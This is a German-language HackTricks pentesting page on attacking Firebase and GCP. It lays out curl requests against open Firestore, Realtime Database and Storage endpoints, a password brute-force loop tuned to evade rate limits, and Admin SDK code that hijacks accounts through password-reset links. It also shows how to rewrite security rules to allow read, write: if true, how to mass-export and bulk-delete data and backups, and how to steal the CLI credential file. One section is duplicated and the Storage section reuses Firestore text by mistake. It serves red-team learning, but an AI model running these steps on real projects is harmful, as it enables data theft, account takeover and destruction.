GCP - Firebase Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Firebase

Unauthentifizierter Zugriff auf Firebase Realtime Database

Ein Angreifer benötigt keine speziellen Firebase permissions, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Firebase Realtime Database security rules vorliegt, bei der die Regeln mit .read: true oder .write: true gesetzt sind und damit öffentlichen Lese- bzw. Schreibzugriff erlauben.

Der Angreifer muss die Datenbank-URL identifizieren, die typischerweise dem Format https://<project-id>.firebaseio.com/ folgt.

Diese URL kann durch mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), durch Analyse von Konfigurationsdateien wie google-services.json (Android) oder GoogleService-Info.plist (iOS), durch Inspektion des Quellcodes von Webanwendungen oder durch Untersuchung des network traffic zur Identifikation von requests an *.firebaseio.com-Domains gefunden werden.

Der Angreifer identifiziert die Datenbank-URL und prüft, ob sie öffentlich zugänglich ist, greift dann auf die Daten zu und schreibt gegebenenfalls bösartige Daten.

Zuerst prüfen sie, ob die Datenbank Lesezugriff erlaubt, indem sie .json an die URL anhängen.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

Wenn die Antwort JSON-Daten oder null enthält (anstatt “Permission Denied”), erlaubt die Datenbank Lesezugriff. Um den Schreibzugriff zu prüfen, kann der Angreifer versuchen, eine Test-Schreibanfrage über die Firebase REST API zu senden.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

Wenn die Operation erfolgreich ist, erlaubt die Datenbank außerdem Schreibzugriff.

Offenlegung von Daten in Cloud Firestore

Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass es eine verwundbare Konfiguration in den Cloud Firestore Sicherheitsregeln gibt, bei der die Regeln Lese- oder Schreibzugriff ohne Authentifizierung oder mit unzureichender Validierung erlauben. Ein Beispiel für eine falsch konfigurierte Regel, die vollen Zugriff gewährt, ist:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Diese Regel erlaubt jedem, alle Dokumente ohne Einschränkungen zu lesen und zu schreiben. Firestore rules sind granular und gelten pro collection und document, sodass ein Fehler in einer bestimmten Regel nur bestimmte collections offenlegen kann.

Der attacker muss die Firebase Project ID identifizieren, die durch mobile app reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Inspektion des Quellcodes von Webanwendungen oder Analyse des Netzwerkverkehrs zur Identifikation von Requests an firestore.googleapis.com gefunden werden kann. Die Firestore REST API verwendet das Format:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Wenn die Regeln unauthenticated read access erlauben, kann der Angreifer collections und documents lesen. Zuerst versuchen sie, auf eine bestimmte collection zuzugreifen:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

Wenn die Antwort JSON documents statt eines permission errors enthält, ist die collection exposed. Der attacker kann alle zugänglichen collections enumerate, indem er gängige Namen ausprobiert oder die Struktur der Anwendung analysiert. Um auf ein bestimmtes document zuzugreifen:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Wenn die Regeln nicht authentifizierten Schreibzugriff erlauben oder unzureichende Validierung aufweisen, kann der Angreifer neue Dokumente erstellen:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Um ein vorhandenes Dokument zu ändern, muss PATCH verwendet werden:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Um ein Dokument zu löschen und einen DoS zu verursachen:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Offenlegung von Dateien in Firebase Storage

Ein Angreifer benötigt keine spezifischen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Firebase Storage security rules vorhanden ist, bei der die Regeln read- oder write-Zugriff ohne Authentifizierung oder mit unzureichender Validierung erlauben. Storage rules kontrollieren read- und write-Berechtigungen unabhängig voneinander, so dass ein Fehler in einer Regel nur read-Zugriff, nur write-Zugriff oder beides offenlegen kann. Ein Beispiel für eine falsch konfigurierte Regel, die vollen Zugriff gewährt, ist:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Diese Regel erlaubt Lese- und Schreibzugriff auf alle Dokumente ohne Einschränkungen. Firestore-Regeln sind granular und werden pro collection und pro document angewendet, daher kann ein Fehler in einer bestimmten Regel nur bestimmte collections exponieren. Der Angreifer muss die Firebase Project ID identifizieren, die durch mobile application reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Untersuchung des Quellcodes der Webanwendung oder Analyse des Netzwerkverkehrs zur Identifikation von Requests an firestore.googleapis.com gefunden werden kann. Die Firestore REST API verwendet das Format: https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

Wenn die Regeln nicht authentifizierten Lesezugriff erlauben, kann der Angreifer collections und documents lesen. Zuerst versuchen sie, auf eine bestimmte collection zuzugreifen.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

Wenn die Antwort die Liste der Dateien statt eines Berechtigungsfehlers enthält, ist die Datei exponiert. Der Angreifer kann den Inhalt der Dateien anzeigen, indem er ihren Pfad angibt:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

Wenn die Regeln unauthentifizierten Schreibzugriff erlauben oder eine unzureichende Validierung besteht, kann ein Angreifer bösartige Dateien hochladen. Um eine Datei über die REST API hochzuladen:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

Der Angreifer kann code shells, malware payloads oder große Dateien hochladen, um einen denial of service zu verursachen. Wenn die Anwendung hochgeladene Dateien verarbeitet oder ausführt, kann der Angreifer remote code execution erreichen. Um Dateien zu löschen und einen denial of service zu verursachen:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Invocation of public Firebase Cloud Functions

Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um dieses Problem auszunutzen; es erfordert nur, dass eine Cloud Function über HTTP ohne Authentifizierung öffentlich zugänglich ist.

Eine Funktion ist verwundbar, wenn sie unsicher konfiguriert ist:

  • Es verwendet functions.https.onRequest, das keine Authentifizierung erzwingt (im Gegensatz zu onCall functions).
  • Der Code der Funktion validiert nicht die Benutzer-Authentifizierung (z. B. keine Prüfungen von request.auth oder context.auth).
  • Die Funktion ist in IAM öffentlich zugänglich, d. h. allUsers hat die Rolle roles/cloudfunctions.invoker. Dies ist das Standardverhalten für HTTP functions, sofern der Entwickler den Zugriff nicht einschränkt.

Firebase HTTP Cloud Functions sind über URLs wie die folgenden erreichbar:

  • https://<region>-<project-id>.cloudfunctions.net/<function-name>
  • https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

Ein Angreifer kann diese URLs durch source code analysis, network traffic inspection, enumeration tools oder mobile app reverse engineering entdecken. Wenn die Funktion öffentlich exponiert und ohne Authentifizierung ist, kann der Angreifer sie direkt ohne Zugangsdaten aufrufen.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

If the function does not properly validate inputs, the attacker may attempt other attacks such as code injection or command injection.

Brute-force attack against Firebase Authentication with a weak password policy

Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass der Firebase API Key in mobilen oder Webanwendungen offengelegt ist und die Passwort-Richtlinie nicht strenger konfiguriert wurde als die Standardanforderungen.

Der Angreifer muss den API Key identifizieren, der durch mobile app reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Untersuchung des Quellcodes von Webanwendungen (z. B. in bootstrap.js) oder durch Analyse des Netzwerkverkehrs gefunden werden kann.

Firebase Authentication’s REST API uses the endpoint: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> to authenticate with email and password.

If Email Enumeration Protection is disabled, API error responses can reveal whether an email exists in the system (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), which allows attackers to enumerate users before attempting password guessing. When this protection is enabled, the API returns the same error message for both nonexistent emails and incorrect passwords, preventing user enumeration.

Es ist wichtig zu beachten, dass Firebase Authentication rate limiting durchsetzt, das Anfragen blockieren kann, wenn innerhalb kurzer Zeit zu viele Authentifizierungsversuche erfolgen. Daher müsste ein Angreifer Verzögerungen zwischen den Versuchen einbauen, um rate-limited zu vermeiden.

Der Angreifer identifiziert den API Key und führt Authentifizierungsversuche mit mehreren Passwörtern gegen bekannte Konten durch. Wenn Email Enumeration Protection deaktiviert ist, kann der Angreifer vorhandene Benutzer durch Analyse der Fehlermeldungen enumerieren:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

Wenn die Antwort EMAIL_NOT_FOUND enthält, existiert die E-Mail nicht im System. Wenn sie INVALID_PASSWORD enthält, existiert die E-Mail, aber das Passwort ist falsch, was bestätigt, dass der Benutzer registriert ist. Sobald ein gültiger Benutzer identifiziert wurde, kann der Angreifer brute-force attempts durchführen. Es ist wichtig, Pausen zwischen den Versuchen einzubauen, um Firebase Authentication’s rate-limiting mechanisms zu vermeiden:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

Bei der standardmäßigen Passwortrichtlinie (mindestens 6 Zeichen, keine Komplexitätsanforderungen) kann der Angreifer alle möglichen Kombinationen von 6 Zeichen langen Passwörtern ausprobieren, was im Vergleich zu strengeren Richtlinien einen relativ kleinen Suchraum darstellt.

Benutzerverwaltung in Firebase Authentication

Der Angreifer benötigt spezifische Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Die erforderlichen Berechtigungen sind:

  • firebaseauth.users.create um Benutzer zu erstellen
  • firebaseauth.users.update um bestehende Benutzer zu ändern
  • firebaseauth.users.delete um Benutzer zu löschen
  • firebaseauth.users.get um Benutzerinformationen abzurufen
  • firebaseauth.users.sendEmail um E-Mails an Benutzer zu senden
  • firebaseauth.users.createSession um Benutzersitzungen zu erstellen

Diese Berechtigungen sind in der Rolle roles/firebaseauth.admin enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch in übergeordneten Rollen wie roles/firebase.developAdmin (die alle firebaseauth.*-Berechtigungen enthält) und roles/firebase.admin (voller Zugriff auf alle Firebase-Dienste) enthalten.

Um das Firebase Admin SDK zu verwenden, bräuchte der Angreifer Zugriff auf service account credentials (JSON-Datei), die auf kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Systemen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Credentials haben, gefunden werden könnten.

Der erste Schritt besteht darin, das Firebase Admin SDK mit den service account credentials zu konfigurieren.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Um einen bösartigen Benutzer unter Verwendung der E-Mail des victim zu erstellen, würde der attacker versuchen, das Firebase Admin SDK zu nutzen, um ein neues Konto unter dieser E‑Mail anzulegen.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Um einen bestehenden Benutzer zu ändern, würde der Angreifer Felder wie die E-Mail-Adresse, den Verifizierungsstatus oder den deaktivierten Status des Kontos aktualisieren.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Um ein Benutzerkonto zu löschen und eine denial of service zu verursachen, würde der attacker eine Anfrage stellen, um den Benutzer vollständig zu entfernen.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Der Angreifer kann auch Informationen über bestehende Benutzer abrufen, indem er deren UID oder E‑Mail‑Adresse anfordert.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Außerdem könnte der Angreifer verification links oder password-reset links generieren, um das Passwort eines Benutzers zu ändern und Zugriff auf dessen Konto zu erlangen.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Benutzerverwaltung in Firebase Authentication

Ein Angreifer benötigt bestimmte Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Die erforderlichen Berechtigungen sind:

  • firebaseauth.users.create to create users
  • firebaseauth.users.update to modify existing users
  • firebaseauth.users.delete to delete users
  • firebaseauth.users.get to obtain user information
  • firebaseauth.users.sendEmail to send emails to users
  • firebaseauth.users.createSession to create user sessions

Diese Berechtigungen sind in der Rolle roles/firebaseauth.admin enthalten, die vollständigen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch Teil höherer Rollen wie roles/firebase.developAdmin (die alle firebaseauth.*-Berechtigungen enthält) und roles/firebase.admin (vollständiger Zugriff auf alle Firebase-Dienste).

Um das Firebase Admin SDK zu verwenden, müsste der Angreifer Zugriff auf Service-Account-Anmeldeinformationen (eine JSON-Datei) haben, die aus kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Umgebungen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Anmeldeinformationen haben, erlangt werden könnten.

Der erste Schritt ist, das Firebase Admin SDK mit den Service-Account-Anmeldeinformationen zu konfigurieren.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Um einen bösartigen Benutzer unter Verwendung der E-Mail des victim zu erstellen, würde der attacker versuchen, ein neues Benutzerkonto mit dieser E-Mail anzulegen und dabei sein eigenes Passwort und Profilinformationen zu vergeben.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Um einen bestehenden Benutzer zu ändern, würde der attacker Felder wie E-Mail-Adresse, Verifizierungsstatus oder die Frage, ob das Konto deaktiviert ist, anpassen.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Um ein Benutzerkonto zu löschen — wodurch effektiv einen denial of service verursacht würde — würde der Angreifer eine Anfrage stellen, um diesen Benutzer dauerhaft zu entfernen.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Der Angreifer könnte außerdem Informationen über vorhandene Benutzer abrufen, wie deren UID oder email, indem er Benutzerdetails entweder per UID oder per email anfragt.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Zusätzlich könnte der Angreifer Verifizierungs- oder password-reset-Links erzeugen, wodurch er das Passwort eines Nutzers ändern und die Kontrolle über das Konto übernehmen kann.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Änderung der Sicherheitsregeln in Firebase-Diensten

Der Angreifer benötigt je nach Dienst bestimmte Berechtigungen, um Sicherheitsregeln zu ändern. Für Cloud Firestore und Firebase Cloud Storage sind die erforderlichen Berechtigungen firebaserules.rulesets.create zum Erstellen von Rulesets und firebaserules.releases.create zum Bereitstellen von Releases. Diese Berechtigungen sind in der Rolle roles/firebaserules.admin enthalten oder in übergeordneten Rollen wie roles/firebase.developAdmin und roles/firebase.admin. Für die Firebase Realtime Database ist die erforderliche Berechtigung firebasedatabase.instances.update.

Der Angreifer muss die Firebase REST API verwenden, um die Sicherheitsregeln zu ändern. Zuerst müsste der Angreifer ein Zugriffstoken mithilfe von Service-Account-Zugangsdaten erhalten. Um das Zugriffstoken zu erhalten:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Um die Regeln der Firebase Realtime Database zu ändern:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Um Cloud Firestore-Regeln zu ändern, muss der Angreifer ein ruleset erstellen und es dann bereitstellen:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Der vorherige Befehl gibt einen ruleset-Namen im Format projects//rulesets/ zurück. Um die neue Version bereitzustellen, muss die Release mit einer PATCH-Anfrage aktualisiert werden:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Um die Firebase Cloud Storage-Regeln zu ändern:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Der vorherige Befehl gibt einen Ruleset-Namen im Format projects//rulesets/ zurück. Um die neue Version bereitzustellen, muss das Release mittels einer PATCH-Anfrage aktualisiert werden:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Datenexfiltration und -manipulation in Cloud Firestore

Cloud Firestore verwendet dieselbe Infrastruktur und dasselbe Berechtigungssystem wie Cloud Datastore, sodass Datastore IAM-Berechtigungen direkt auf Firestore angewendet werden. Um TTL-Policies zu manipulieren, wird die Berechtigung datastore.indexes.update benötigt. Um Daten zu exportieren, wird die Berechtigung datastore.databases.export benötigt. To import data, the datastore.databases.import permission is required. Um Massenlöschungen von Daten durchzuführen, wird die Berechtigung datastore.databases.bulkDelete benötigt.

Für Backup- und Restore-Operationen werden spezifische Berechtigungen benötigt:

  • datastore.backups.get und datastore.backups.list, um verfügbare Backups aufzulisten und Details abzurufen
  • datastore.backups.delete, um Backups zu löschen
  • datastore.backups.restoreDatabase, um eine Datenbank aus einem Backup wiederherzustellen
  • datastore.backupSchedules.create und datastore.backupSchedules.delete, um Backup-Zeitpläne zu verwalten

Wenn eine TTL-Richtlinie erstellt wird, wird eine bestimmte Eigenschaft ausgewählt, um Entitäten zu identifizieren, die für die Löschung infrage kommen. Diese TTL-Eigenschaft muss vom Typ Datum und Uhrzeit sein. Der Angreifer kann eine bereits vorhandene Eigenschaft wählen oder eine Eigenschaft festlegen, die er später hinzufügen will. Wenn der Wert des Feldes ein Datum in der Vergangenheit ist, wird das Dokument sofort zur Löschung freigegeben. Der Angreifer kann die gcloud CLI verwenden, um TTL-Richtlinien zu manipulieren.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Um Daten zu exportieren und zu exfiltrieren, könnte der Angreifer die gcloud CLI verwenden.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Um bösartige Daten zu importieren:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Um massenhafte Datenlöschung durchzuführen und einen denial of service zu verursachen, könnte der Angreifer das gcloud Firestore bulk-delete tool verwenden, um ganze Collections zu entfernen.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

Für Backup- und Wiederherstellungsoperationen könnte der Angreifer geplante Backups erstellen, um den aktuellen Zustand der Datenbank zu erfassen, vorhandene Backups aufzulisten, aus einem Backup wiederherzustellen, um kürzliche Änderungen zu überschreiben, Backups zu löschen, um dauerhaften Datenverlust zu verursachen, und geplante Backups zu entfernen. Um einen täglichen Backup-Zeitplan zu erstellen, der sofort ein Backup erzeugt:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Um aus einem bestimmten Backup wiederherzustellen, könnte der Angreifer eine neue Datenbank mit den in diesem Backup enthaltenen Daten erstellen. Der Wiederherstellungsprozess schreibt die Daten des Backups in eine neue Datenbank, sodass eine vorhandene DATABASE_ID nicht verwendet werden kann.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Um ein Backup zu löschen und dauerhaften Datenverlust zu verursachen:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Diebstahl und Missbrauch von Firebase CLI-Anmeldeinformationen

Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen, benötigt jedoch Zugriff auf das lokale System des Entwicklers oder auf die Firebase CLI-Anmeldeinformationsdatei. Diese Anmeldeinformationen werden in einer JSON-Datei gespeichert, die sich befindet unter:

  • Linux/macOS: ~/.config/configstore/firebase-tools.json

  • Windows: C:\Users[User].config\configstore\firebase-tools.json

Diese Datei enthält Authentifizierungstoken, einschließlich des refresh_token und access_token, die es dem Angreifer ermöglichen, sich als der Benutzer zu authentifizieren, der ursprünglich firebase login ausgeführt hat.

Der Angreifer erhält Zugriff auf die Firebase CLI-Anmeldeinformationsdatei. Anschließend kann er die gesamte Datei auf sein eigenes System kopieren, und die Firebase CLI verwendet automatisch die Anmeldeinformationen aus ihrem Standardpfad. Danach kann der Angreifer alle Firebase-Projekte einsehen, die für diesen Benutzer zugänglich sind.

firebase projects:list

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks